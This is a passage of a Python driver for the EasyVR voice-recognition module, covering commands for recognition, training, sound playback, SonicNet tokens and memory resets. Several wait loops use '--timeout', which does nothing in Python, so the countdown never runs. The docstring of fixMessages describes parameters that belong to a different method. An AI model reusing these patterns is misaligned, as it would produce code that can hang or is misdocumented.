\"\"\"\r\n for i in range(5):\r\n try:\r\n self._sendCmd(_CMD_BREAK)\r\n if self._recv(EasyVR.WAKE_TIMEOUT) == _STS_SUCCESS:\r\n return True\r\n except TimeoutError:\r\n pass\r\n return False\r\n\r\n\r\n def stop(self):\r\n \"\"\"\r\n.. method:: stop()\r\n\r\n Interrupts pending recognition or playback operations.\r\n \"\"\"\r\n self._sendCmd(_CMD_BREAK)\r\n\r\n rx = self._recv(EasyVR.STORAGE_TIMEOUT)\r\n if rx == _STS_INTERR or rx == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n\r\n def getID(self):\r\n \"\"\"\r\n.. method:: getID()\r\n\r\n Gets the module identification number (firmware version).\r\n\r\n :return: integer is one of the values in ModuleId_\r\n \"\"\"\r\n self._id = -1\r\n self._sendCmd(_CMD_ID)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_ID:\r\n self._id = self._recvArg()\r\n return self._id\r\n\r\n def gotoSleep(self, mode):\r\n \"\"\"\r\n.. method:: gotoSleep(mode)\r\n\r\n Puts the module in sleep mode.\r\n\r\n :param mode: is one of values in WakeMode_, optionally combined with one of \\\r\n the values in ClapSense_\r\n \"\"\"\r\n self._sendCmd(_CMD_SLEEP);\r\n self._sendArg(mode);\r\n\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def hasFinished(self):\r\n \"\"\"\r\n.. method:: hasFinished()\r\n\r\n Polls the status of on-going recognition, training or asynchronous \\\r\n playback tasks.\r\n\r\n :return: *True* if the operation has completed\r\n \"\"\"\r\n try:\r\n rx = self._recv(EasyVR._NO_TIMEOUT)\r\n except TimeoutError:\r\n return False\r\n self._readStatus(rx)\r\n return True\r\n\r\n def isAwakened(self):\r\n \"\"\"\r\n.. method:: isAwakened()\r\n\r\n Retrieves the wake-up indicator (only valid after :meth:`hasFinished()` has been \\\r\n called).\r\n \r\n :return: *True* if the module has been awakened from sleep mode\r\n \"\"\"\r\n return (self._status & EasyVR._is_awakened) != 0\r\n\r\n def getCommand(self):\r\n \"\"\"\r\n.. method:: getCommand()\r\n\r\n Gets the recognised command index if any.\r\n \r\n :return: (0-31) is the command index if recognition is successful, (-1) if no \\\r\n command has been recognized or an error occurred\r\n \"\"\"\r\n if (self._status & EasyVR._is_command) != 0:\r\n return self._value\r\n return -1\r\n\r\n def getWord(self):\r\n \"\"\"\r\n.. method:: getWord()\r\n\r\n Gets the recognised word index if any, from built-in sets or custom grammars.\r\n \r\n :return: (0-31) is the command index if recognition is successful, (-1) if no \\\r\n built-in word has been recognized or an error occurred\r\n \"\"\"\r\n if (self._status & EasyVR._is_builtin) != 0:\r\n return self._value\r\n return -1\r\n\r\n def getToken(self):\r\n \"\"\"\r\n.. method:: getToken()\r\n\r\n Gets the index of the received SonicNet token if any.\r\n \r\n :return: an integer with the index of the received SonicNet token (0-255 for 8-bit \\\r\n tokens or 0-15 for 4-bit tokens) if detection was successful, (-1) if no \\\r\n token has been received or an error occurred\r\n \"\"\"\r\n if (self._status & EasyVR._is_token) != 0:\r\n return self._value\r\n return -1\r\n\r\n def getError(self):\r\n \"\"\"\r\n.. method:: getError()\r\n\r\n Gets the last error code if any.\r\n \r\n :return: (0-255) is the error code, (-1) if no error occurred\r\n \"\"\"\r\n if (self._status & EasyVR._is_error) != 0:\r\n return self._value\r\n return -1\r\n\r\n def isTimeout(self):\r\n \"\"\"\r\n.. method:: isTimeout()\r\n\r\n Retrieves the timeout indicator.\r\n \r\n :return: *True* if the last operation timed out\r\n \"\"\"\r\n return (self._status & EasyVR._is_timeout) != 0\r\n\r\n def isConflict(self):\r\n \"\"\"\r\n.. method:: isConflict()\r\n\r\n Retrieves the conflict indicator.\r\n \r\n :return: true is a conflict occurred during training. To know what \\\r\n caused the conflict, use :meth:`getCommand()` and :meth:`getWord()` \\\r\n (only valid for triggers)\r\n \"\"\"\r\n return (self._status & EasyVR._is_conflict) != 0\r\n\r\n def isMemoryFull(self):\r\n \"\"\"\r\n.. method:: isMemoryFull()\r\n\r\n Retrieves the memory full indicator (only valid after :meth:`addCommand()` \\\r\n returned false).\r\n \r\n :return: *True* if a command could not be added because of memory size \\\r\n constraints (up to 32 custom commands can be created)\r\n \"\"\"\r\n return (self._status & EasyVR._is_memfull) != 0\r\n\r\n def isInvalid(self):\r\n \"\"\"\r\n.. method:: isInvalid()\r\n\r\n Retrieves the invalid protocol indicator.\r\n \r\n :return: *True* if an invalid sequence has been detected in the communication \\\r\n protocol\r\n \"\"\"\r\n return (self._status & EasyVR._is_invalid) != 0\r\n\r\n def setLanguage(self, lang):\r\n \"\"\"\r\n.. method:: setLanguage(lang)\r\n\r\n Sets the language to use for recognition of built-in words.\r\n \r\n :param lang: (0-5) is one of values in Language_\r\n \"\"\"\r\n self._sendCmd(_CMD_LANGUAGE)\r\n self._sendArg(lang)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setTimeout(self, seconds):\r\n \"\"\"\r\n.. method:: setTimeout(seconds)\r\n\r\n Sets the timeout to use for any recognition task.\r\n \r\n :param seconds: (0-31) is the maximum time the module keep listening \\\r\n for a word or a command\r\n \"\"\"\r\n self._sendCmd(_CMD_TIMEOUT)\r\n self._sendArg(seconds)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setMicDistance(self, dist):\r\n \"\"\"\r\n.. method:: setMicDistance(dist)\r\n\r\n Sets the operating distance of the microphone.\r\n \r\n This setting represents the distance between the microphone and the \\\r\n user's mouth, in one of three possible configurations.\r\n \r\n :param dist: (1-3) is one of values in Distance_\r\n \"\"\"\r\n self._sendCmd(_CMD_MIC_DIST)\r\n self._sendArg(-1)\r\n self._sendArg(dist)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setKnob(self, knob):\r\n \"\"\"\r\n.. method:: setKnob(knob)\r\n\r\n Sets the confidence threshold to use for recognition of built-in words or custom grammars.\r\n \r\n :param knob: (0-4) is one of values in Knob_\r\n \"\"\"\r\n self._sendCmd(_CMD_KNOB)\r\n self._sendArg(knob)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setTrailingSilence(self,dur):\r\n \"\"\"\r\n.. method:: setTrailingSilence(dur)\r\n\r\n Sets the trailing silence duration for recognition of built-in words or custom grammars.\r\n \r\n :param dur: (0-31) is the silence duration as defined in TrailingSilence_\r\n \"\"\"\r\n self._sendCmd(_CMD_TRAILING)\r\n self._sendArg(-1)\r\n self._sendArg(dur)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setLevel(self,level):\r\n \"\"\"\r\n.. method:: setLevel(level)\r\n\r\n Sets the strictness level to use for recognition of custom commands.\r\n \r\n :param level: (1-5) is one of values in Level_\r\n \"\"\"\r\n self._sendCmd(_CMD_LEVEL)\r\n self._sendArg(level)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setCommandLatency(self,mode):\r\n \"\"\"\r\n.. method:: setCommandLatency(mode)\r\n\r\n Enables or disables fast recognition for custom commands and passwords.\r\n \r\n Fast SD/SV recognition can improve response time.\r\n \r\n :param mode: (0-1) is one of the values in CommandLatency_\r\n \"\"\"\r\n self._sendCmd(_CMD_FAST_SD)\r\n self._sendArg(-1)\r\n self._sendArg(mode)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setDelay(self,millis):\r\n \"\"\"\r\n.. method:: setDelay()\r\n\r\n Sets the delay before any reply of the module.\r\n \r\n :param millis: (0-1000) is the delay duration in milliseconds, rounded to \\\r\n 10 units in range 10-100 and to 100 units in range 100-1000.\r\n \"\"\"\r\n self._sendCmd(_CMD_DELAY)\r\n if millis <= 10:\r\n self._sendArg(millis)\r\n elif millis <= 100:\r\n self._sendArg(int(millis / 10 + 9))\r\n elif millis <= 1000:\r\n self._sendArg(int(millis / 100 + 18))\r\n else:\r\n raise ValueError\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def changeBaudrate(self, baud):\r\n \"\"\"\r\n.. method:: changeBaudrate(baud)\r\n\r\n Sets the new communication speed. You need to modify the baudrate of the \\\r\n underlying Stream object accordingly, after the function returns successfully.\r\n \r\n :param baud: is one of values in Baudrate_\r\n \"\"\"\r\n self._sendCmd(_CMD_BAUDRATE)\r\n self._sendArg(baud)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def addCommand(self, group, index):\r\n \"\"\"\r\n.. method:: addCommand(group, index)\r\n\r\n Adds a new custom command to a group.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n \"\"\"\r\n self._sendCmd(_CMD_GROUP_SD)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n rx = self._recv(EasyVR.STORAGE_TIMEOUT)\r\n if rx == _STS_SUCCESS:\r\n return\r\n self._status = 0\r\n if rx == _STS_OUT_OF_MEM:\r\n self._status |= EasyVR._is_memfull\r\n raise ValueError\r\n\r\n def removeCommand(self, group, index):\r\n \"\"\"\r\n.. method:: removeCommand(group, index)\r\n\r\n Removes a custom command from a group.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n \"\"\"\r\n self._sendCmd(_CMD_UNGROUP_SD)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n if self._recv(EasyVR.STORAGE_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def setCommandLabel(self, group, index, name):\r\n \"\"\"\r\n.. method:: setCommandLabel(group, index, name)\r\n\r\n Sets the name of a custom command.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n :param name: is a string containing the label to be assigned to the \\\r\n specified command\r\n \"\"\"\r\n self._sendCmd(_CMD_NAME_SD)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n name = name.upper() #to uppercase\r\n length = 0\r\n name_end = 0\r\n for c in name:\r\n name_end += 1\r\n length += 1\r\n #if c.isdigit():\r\n if c >= '0' and c <= '9':\r\n length += 1\r\n if length == 31:\r\n break\r\n self._sendArg(length)\r\n for i in range(0,name_end):\r\n c = name[i]\r\n #if c.isdigit():\r\n if c >= '0' and c <= '9':\r\n self._send(b'^')\r\n self._sendArg(ord(c) - ord('0'))\r\n #elif c.isalpha():\r\n elif c >= 'A' and c <= 'Z':\r\n self._send(bytes(c))\r\n else:\r\n self._send(b'_')\r\n if self._recv(EasyVR.STORAGE_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def eraseCommand(self, group, index):\r\n \"\"\"\r\n.. method:: eraseCommand(group, index)\r\n\r\n Erases the training data of a custom command.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n \"\"\"\r\n self._sendCmd(_CMD_ERASE_SD)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n if self._recv(EasyVR.STORAGE_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def getGroupMask(self):\r\n \"\"\"\r\n.. method:: getGroupMask()\r\n\r\n Gets a bit mask of groups that contain at least one command.\r\n \r\n :return mask: the group mask when the function returns normally\r\n \"\"\"\r\n self._sendCmd(_CMD_MASK_SD)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_MASK:\r\n mask = 0\r\n for i in range(0,4):\r\n rx = self._recvArg()\r\n mask |= (rx & 0x0F) << (i * 8)\r\n rx = self._recvArg()\r\n mask |= ((rx << 4) & 0xF0) << (i * 8)\r\n return mask\r\n raise ValueError\r\n\r\n def getCommandCount(self, group):\r\n \"\"\"\r\n.. method:: getCommandCount(group)\r\n\r\n Gets the number of commands in the specified group.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n \r\n :return: integer is the count of commands (negative in case of errors)\r\n \"\"\"\r\n self._sendCmd(_CMD_COUNT_SD)\r\n self._sendArg(group)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_COUNT:\r\n rx = self._recvArg()\r\n if rx == -1:\r\n return 32\r\n return rx\r\n return -1\r\n\r\n def dumpCommand(self, group, index):\r\n \"\"\"\r\n.. method:: dumpCommand(group, index)\r\n\r\n Retrieves the name and training data of a custom command.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n \r\n :return: a tuple of the form (**name**, **training**)\r\n \r\n **name**\r\n is a string that holds the command label (max length 32)\r\n \r\n **training**\r\n is an integer that holds the training count\r\n \r\n Additional information about training is available \\\r\n through the functions :meth:`isConflict()` and :meth:`getWord()` or :meth:`getCommand()`\r\n \"\"\"\r\n self._sendCmd(_CMD_DUMP_SD)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n if self._recv(EasyVR.DEF_TIMEOUT) != _STS_DATA:\r\n raise ValueError\r\n rx = self._recvArg()\r\n training = rx & 0x07\r\n if rx == -1 or training == 7:\r\n training = 0\r\n self._status = 0\r\n if (rx & 0x18) != 0:\r\n self._status |= EasyVR._is_conflict\r\n self._status |= EasyVR._is_command\r\n self._status |= EasyVR._is_builtin\r\n rx = self._recvArg()\r\n _value = rx\r\n rx = self._recvArg()\r\n length = 32 if rx == -1 else rx\r\n name = ''\r\n i = 0\r\n while i < length:\r\n rx = self._recvArg()\r\n i += 1\r\n if rx == ord('^') - _ARG_ZERO:\r\n rx = self._recvArg()\r\n i += 1\r\n name += chr(ord('0') + rx)\r\n else:\r\n name += chr(_ARG_ZERO + rx)\r\n return(name,training)\r\n\r\n def getGrammarsCount(self):\r\n \"\"\"\r\n.. method:: getGrammarsCount()\r\n\r\n Gets the total number of grammars available, including built-in and custom.\r\n \r\n :return: integer is the count of grammars (negative in case of errors)\r\n \"\"\"\r\n self._sendCmd(_CMD_DUMP_SI)\r\n self._sendArg(-1)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_COUNT:\r\n rx = self._recvArg()\r\n if rx == -1:\r\n return 32\r\n return rx\r\n return -1\r\n\r\n def dumpGrammar(self, grammar):\r\n \"\"\"\r\n.. method:: dumpGrammar(grammar)\r\n\r\n Retrieves the contents of a built-in or a custom grammar.\r\n Command labels contained in the grammar can be obtained by calling :meth:`getNextWordLabel()`\r\n \r\n :param grammar: (0-31) is the target grammar, or one of the values in Wordset_\r\n\r\n :return: a tuple of the form (**count**, **flags**)\r\n \r\n **flags**\r\n is an integer that contains grammar flags. See GrammarFlag_\r\n \r\n **count**\r\n is an integer that holds the number of words in the grammar\r\n \"\"\"\r\n self._sendCmd(_CMD_DUMP_SI)\r\n self._sendArg(grammar)\r\n if self._recv(EasyVR.DEF_TIMEOUT) != _STS_GRAMMAR:\r\n raise ValueError\r\n rx = self._recvArg()\r\n if rx == -1:\r\n flags = 32\r\n else:\r\n flags = rx\r\n rx = self._recvArg()\r\n return(rx,flags)\r\n\r\n def getNextWordLabel(self):\r\n \"\"\"\r\n.. method:: getNextWordLabel()\r\n\r\n Retrieves the name of a command contained in a custom grammar.\r\n It must be called after :meth:`dumpGrammar()`\r\n \r\n :return: a string that holds the command label (max length 32)\r\n \"\"\"\r\n count = self._recvArg()\r\n if count == -1:\r\n count = 32\r\n name = ''\r\n i = 0\r\n while i < count:\r\n rx = self._recvArg()\r\n i += 1\r\n if rx == ord('^') - _ARG_ZERO:\r\n rx = self._recvArg()\r\n i += 1\r\n name += chr(ord('0') + rx)\r\n else:\r\n name += chr(_ARG_ZERO + rx)\r\n return name\r\n\r\n def trainCommand(self, group, index):\r\n \"\"\"\r\n.. method:: trainCommand(group, index)\r\n\r\n Starts training of a custom command. Results are available after\r\n :meth:`hasFinished()` returns true.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n :param index: (0-31) is the index of the command within the selected group\r\n \r\n :note: The module is busy until training completes and it cannot \\\r\n accept other commands. You can interrupt training with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_TRAIN_SD)\r\n self._sendGroup(group)\r\n self._sendArg(index)\r\n\r\n def recognizeCommand(self, group):\r\n \"\"\"\r\n.. method:: recognizeCommand(group)\r\n\r\n Starts recognition of a custom command. Results are available after\r\n :meth:`hasFinished()` returns true.\r\n \r\n :param group: (0-16) is the target group, or one of the values in Group_\r\n \r\n :note: The module is busy until recognition completes and it cannot \\\r\n accept other commands. You can interrupt recognition with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_RECOG_SD)\r\n self._sendArg(group)\r\n\r\n def recognizeWord(self, wordset):\r\n \"\"\"\r\n.. method:: recognizeWord(wordset)\r\n\r\n Starts recognition of a built-in word. Results are available after\r\n :meth:`hasFinished()` returns true.\r\n \r\n :param wordset: (0-3) is the target word set, or one of the values in\\\r\n :meth:`Wordset, (4-31)` is the target custom grammar, if present\r\n \r\n :note: The module is busy until recognition completes and it cannot \\\r\n accept other commands. You can interrupt recognition with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_RECOG_SI)\r\n self._sendArg(wordset)\r\n\r\n def setPinOutput(self, pin, config):\r\n \"\"\"\r\n.. method:: setPinOutput(pin, config)\r\n\r\n Configures an I/O pin as an output and sets its value\r\n \r\n :param pin: (1-3) is one of the values in PinNumber_\r\n :param config: (0-1,5-6) is one of the output values in PinConfig_ \\\r\n (`OUTPUT_LOW`, `OUTPUT_HIGH`) or Arduino style HIGH and LOW macros\r\n \"\"\"\r\n self._sendCmd(_CMD_QUERY_IO)\r\n self._sendArg(pin)\r\n self._sendArg(config)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def getPinInput(self, pin, config):\r\n \"\"\"\r\n.. method:: getPinInput(pin, config)\r\n\r\n Configures an I/O pin as an input with optional pull-up and\r\n return its value\r\n \r\n :param pin: (1-3) is one of the values in PinNumber_\r\n :param config: (2-4) is one of the input values in PinConfig_ (`INPUT_HIZ`, \\\r\n `INPUT_STRONG`, `INPUT_WEAK)`\r\n \r\n :return: integer is the logical value of the pin\r\n \"\"\"\r\n self._sendCmd(_CMD_QUERY_IO)\r\n self._sendArg(pin)\r\n self._sendArg(config)\r\n if self._recv(EasyVR.DEF_TIMEOUT) == _STS_PIN:\r\n return self._recvArg()\r\n return -1\r\n\r\n def playPhoneTone(self, tone, duration):\r\n \"\"\"\r\n.. method:: playPhoneTone(tone, duration)\r\n\r\n Plays a phone tone and waits for completion\r\n \r\n :param tone: is the index of the tone (0-9 for digits, 10 for '*' key, 11 \\\r\n for '#' key and 12-15 for extra keys 'A' to 'D', -1 for the dial tone)\r\n :param duration: (1-32) is the tone duration in 40 milliseconds units, or \\\r\n in seconds for the dial tone\r\n \"\"\"\r\n self._sendCmd(_CMD_PLAY_DTMF)\r\n self._sendArg(-1) #distinguish DTMF from SX\r\n self._sendArg(tone)\r\n self._sendArg(duration - 1)\r\n if tone < 0:\r\n duration = duration * 1000\r\n else:\r\n duration = duration * 40\r\n if self._recv(duration + EasyVR.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def playSound(self, index, volume):\r\n \"\"\"\r\n.. method:: playSound(index, volume)\r\n\r\n Plays a sound from the sound table and waits for completion\r\n \r\n :param index: is the index of the target sound in the sound table\r\n :param volume: (0-31) may be one of the values in SoundVolume_\r\n \r\n :note: To alter the maximum time for the wait, define the \\\r\n EASYVR_PLAY_TIMEOUT macro before including the EasyVR library.\r\n \"\"\"\r\n self._sendCmd(_CMD_PLAY_SX)\r\n self._sendArg((index >> 5) & 0x1F)\r\n self._sendArg(index & 0x1F)\r\n self._sendArg(volume)\r\n if self._recv(EasyVR.PLAY_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def playSoundAsync(self, index, volume):\r\n \"\"\"\r\n.. method:: playSoundAsync(index, volume)\r\n\r\n Starts playback of a sound from the sound table. Manually check for\r\n completion with :meth:`hasFinished()`.\r\n \r\n :param index: is the index of the target sound in the sound table\r\n :param volume: (0-31) may be one of the values in SoundVolume_\r\n \r\n :note: The module is busy until playback completes and it cannot \\\r\n accept other commands. You can interrupt playback with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_PLAY_SX)\r\n self._sendArg((index >> 5) & 0x1F)\r\n self._sendArg(index & 0x1F)\r\n self._sendArg(volume)\r\n\r\n def detectToken(self, bits, rejection, timeout):\r\n \"\"\"\r\n.. method:: detectToken(bits, rejection, timeout)\r\n\r\n Starts listening for a SonicNet token. Manually check for\r\n completion with :meth:`hasFinished()`.\r\n \r\n :param bits: (4 or 8) specifies the length of received tokens\r\n :param rejection: (0-2) specifies the noise rejection level, \\\r\n it can be one of the values in RejectionLevel_\r\n :param timeout: (1-28090) is the maximum time in milliseconds to keep \\\r\n listening for a valid token or (0) to listen without time limits.\r\n \r\n :note: The module is busy until token detection completes and it cannot \\\r\n accept other commands. You can interrupt listening with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_RECV_SN)\r\n self._sendArg(bits)\r\n self._sendArg(rejection)\r\n if timeout > 0:\r\n timeout = int((timeout * 2 + 53)/ 55) # approx / 27.46 - err < 0.15%\r\n self._sendArg((timeout >> 5) & 0x1F)\r\n self._sendArg(timeout & 0x1F)\r\n\r\n def sendToken(self, bits, token):\r\n \"\"\"\r\n.. method:: sendToken(bits, token)\r\n\r\n Starts immediate playback of a SonicNet token. Manually check for\r\n completion with :meth:`hasFinished()`.\r\n \r\n :param bits: (4 or 8) specifies the length of trasmitted token\r\n :param token: is the index of the SonicNet token to play (0-255 for 8-bit \\\r\n tokens or 0-15 for 4-bit tokens)\r\n \r\n :note: The module is busy until playback completes and it cannot \\\r\n accept other commands. You can interrupt playback with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_SEND_SN)\r\n self._sendArg(bits)\r\n self._sendArg((token >> 5) & 0x1F)\r\n self._sendArg(token & 0x1F)\r\n self._sendArg(0)\r\n self._sendArg(0)\r\n if self._recv(EasyVR.TOKEN_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def sendTokenAsync(self, bits, token):\r\n \"\"\"\r\n.. method:: sendTokenAsync(bits, token)\r\n\r\n Plays a SonicNet token and waits for completion.\r\n \r\n :param bits: (4 or 8) specifies the length of trasmitted token\r\n :param token: is the index of the SonicNet token to play (0-255 for 8-bit \\\r\n tokens or 0-15 for 4-bit tokens)\r\n \"\"\"\r\n self._sendCmd(_CMD_SEND_SN)\r\n self._sendArg(bits)\r\n self._sendArg((token >> 5) & 0x1F)\r\n self._sendArg(token & 0x1F)\r\n self._sendArg(0)\r\n self._sendArg(0)\r\n\r\n def embedToken(self, bits, token, delay):\r\n \"\"\"\r\n.. method:: embedToken(bits, token, delay)\r\n\r\n Schedules playback of a SonicNet token after the next sound starts playing.\r\n \r\n :param bits: (4 or 8) specifies the length of trasmitted token\r\n :param token: is the index of the SonicNet token to play (0-255 for 8-bit \\\r\n tokens or 0-15 for 4-bit tokens)\r\n :param delay: (1-28090) is the time in milliseconds at which to send the token, \\\r\n since the beginning of the next sound playback\r\n \r\n :note: The scheduled token remains valid for one operation only, so you have \\\r\n to call :meth:`playSound()` or :meth:`playSoundAsync()` immediately after this function.\r\n \"\"\"\r\n self._sendCmd(_CMD_SEND_SN)\r\n self._sendArg(bits)\r\n self._sendArg((token >> 5) & 0x1F)\r\n self._sendArg(token & 0x1F)\r\n delay = int((delay * 2 + 27) / 55) # approx / 27.46 - err < 0.15%\r\n if delay == 0: # must be > 0 to embed in some audio\r\n delay = 1\r\n self._sendArg((delay >> 5) & 0x1F)\r\n self._sendArg(delay & 0x1F)\r\n if self._recv(self.DEF_TIMEOUT) == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def dumpSoundTable(self):\r\n \"\"\"\r\n.. method:: dumpSoundTable()\r\n\r\n Retrieves the name of the sound table and the number of sounds it contains\r\n \r\n :param name: points to an array of at least 32 characters that holds the \\\r\n sound table label when the function returns\r\n :param count: is a variable that holds the number of sounds when the \\\r\n function returns\r\n \"\"\"\r\n self._sendCmd(_CMD_DUMP_SX)\r\n if self._recv(EasyVR.DEF_TIMEOUT) != _STS_TABLE_SX:\r\n raise ValueError\r\n rx = self._recvArg()\r\n count = rx << 5\r\n rx = self._recvArg()\r\n count |= rx\r\n rx = self._recvArg()\r\n len = rx\r\n name = ''\r\n for i in range(len):\r\n rx = self._recvArg()\r\n if rx == ord('^') - _ARG_ZERO:\r\n rx = self._recvArg()\r\n i += 1\r\n name += chr(ord('0') + rx)\r\n else:\r\n name += chr(_ARG_ZERO + rx)\r\n return(name,count)\r\n\r\n def resetAll(self, wait):\r\n \"\"\"\r\n.. method:: resetAll(wait)\r\n\r\n Empties internal memory for custom commands/groups and messages.\r\n \r\n :param wait: specifies whether to wait until the operation is complete (or times out)\r\n \r\n :note: It will take some time for the whole process to complete (EasyVR3 is faster) \\\r\n and it cannot be interrupted. During this time the module cannot \\\r\n accept any other command. The sound table and custom grammars data is not affected.\r\n \"\"\"\r\n timeout = 40 # seconds\r\n if self.getID() >= EasyVR.EASYVR3:\r\n timeout = 5\r\n self._sendCmd(_CMD_RESETALL)\r\n self._sendArg(ord('R') - _ARG_ZERO)\r\n if not wait:\r\n return\r\n while timeout != 0 and _available(self._s) == 0:\r\n _delay(1000)\r\n --timeout\r\n if self._s.read() == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def resetCommands(self, wait):\r\n \"\"\"\r\n.. method:: resetCommands(wait)\r\n\r\n Empties internal memory for custom commands/groups only. Messages are not affected.\r\n \r\n :param wait: specifies whether to wait until the operation is complete (or times out)\r\n \r\n :note: It will take some time for the whole process to complete (EasyVR3 is faster) \\\r\n and it cannot be interrupted. During this time the module cannot \\\r\n accept any other command. The sound table and custom grammars data is not affected.\r\n \"\"\"\r\n if self.getID() >= EasyVR.EASYVR3_1:\r\n return self.resetAll(wait) # map to reset all for older firmwares\r\n self._sendCmd(_CMD_RESET_SD)\r\n self._sendArg(ord('D') - _ARG_ZERO)\r\n if not wait:\r\n return\r\n timeout = 5 # seconds\r\n while timeout != 0 and _available(self._s) == 0:\r\n _delay(1000)\r\n --timeout\r\n if self._s.read() == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def resetMessages(self, wait):\r\n \"\"\"\r\n.. method:: resetMessages(wait)\r\n\r\n Empties internal memory used for messages only. Commands/groups are not affected.\r\n \r\n :param wait: specifies whether to wait until the operation is complete (or times out)\r\n \r\n :note: It will take some time for the whole process to complete (EasyVR3 is faster) \\\r\n and it cannot be interrupted. During this time the module cannot \\\r\n accept any other command. The sound table and custom grammars data is not affected.\r\n \"\"\"\r\n self._sendCmd(_CMD_RESET_RP)\r\n self._sendArg(ord('M') - _ARG_ZERO)\r\n if not wait:\r\n return\r\n timeout = 15 # seconds\r\n while timeout != 0 and _available(self._s) == 0:\r\n _delay(1000)\r\n --timeout\r\n if self._s.read() == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def checkMessages(self):\r\n \"\"\"\r\n.. method:: checkMessages()\r\n\r\n Performs a memory check for consistency.\r\n \r\n :return: *True* if no errors detected\r\n \r\n :note: If a memory write or erase operation does not complete due to unexpected \\\r\n conditions, like power losses, the memory contents may be corrupted. When the \\\r\n check fails :meth:`getError()` returns ``ERR_CUSTOM_INVALID``.\r\n \"\"\" \r\n self._sendCmd(_CMD_VERIFY_RP)\r\n self._sendArg(-1)\r\n self._sendArg(0)\r\n rx = self._recv(EasyVR.STORAGE_TIMEOUT)\r\n self._readStatus(rx)\r\n return self._status == 0\r\n\r\n def fixMessages(self, wait):\r\n \"\"\"\r\n.. method:: fixMessages(wait)\r\n\r\n Starts recording a message. Manually check for completion with :meth:`hasFinished()`.\r\n \r\n :param index: (0-31) is the index of the target message slot\r\n :param bits: \\(8\\) specifies the audio format (see MessageType_)\r\n :param timeout: (0-31) is the maximum recording time (0=infinite)\r\n \r\n :note: The module is busy until recording times out or the end of memory is \\\r\n reached. You can interrupt an ongoing recording with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_VERIFY_RP)\r\n self._sendArg(-1)\r\n self._sendArg(1)\r\n if not wait:\r\n return\r\n timeout = 25 # seconds\r\n while timeout != 0 and _available(self._s) == 0:\r\n _delay(1000)\r\n --timeout\r\n if self._s.read() == _STS_SUCCESS:\r\n return\r\n raise ValueError\r\n\r\n def recordMessageAsync(self, index, bits, timeout):\r\n \"\"\"\r\n.. method:: recordMessageAsync(index, bits, timeout)\r\n\r\n Starts recording a message. Manually check for completion with :meth:`hasFinished()`.\r\n \r\n :param index: (0-31) is the index of the target message slot\r\n :param bits: \\(8\\) specifies the audio format (see MessageType_)\r\n :param timeout: (0-31) is the maximum recording time (0=infinite)\r\n \r\n :note: The module is busy until recording times out or the end of memory is \\\r\n reached. You can interrupt an ongoing recording with :meth:`stop()`.\r\n \"\"\"\r\n self._sendCmd(_CMD_RECORD_RP)\r\n self._sendArg(-1)\r\n self._sendArg(index)\r\n self._sendArg(bits)\r\n self._sendArg(timeout)\r\n\r\n def 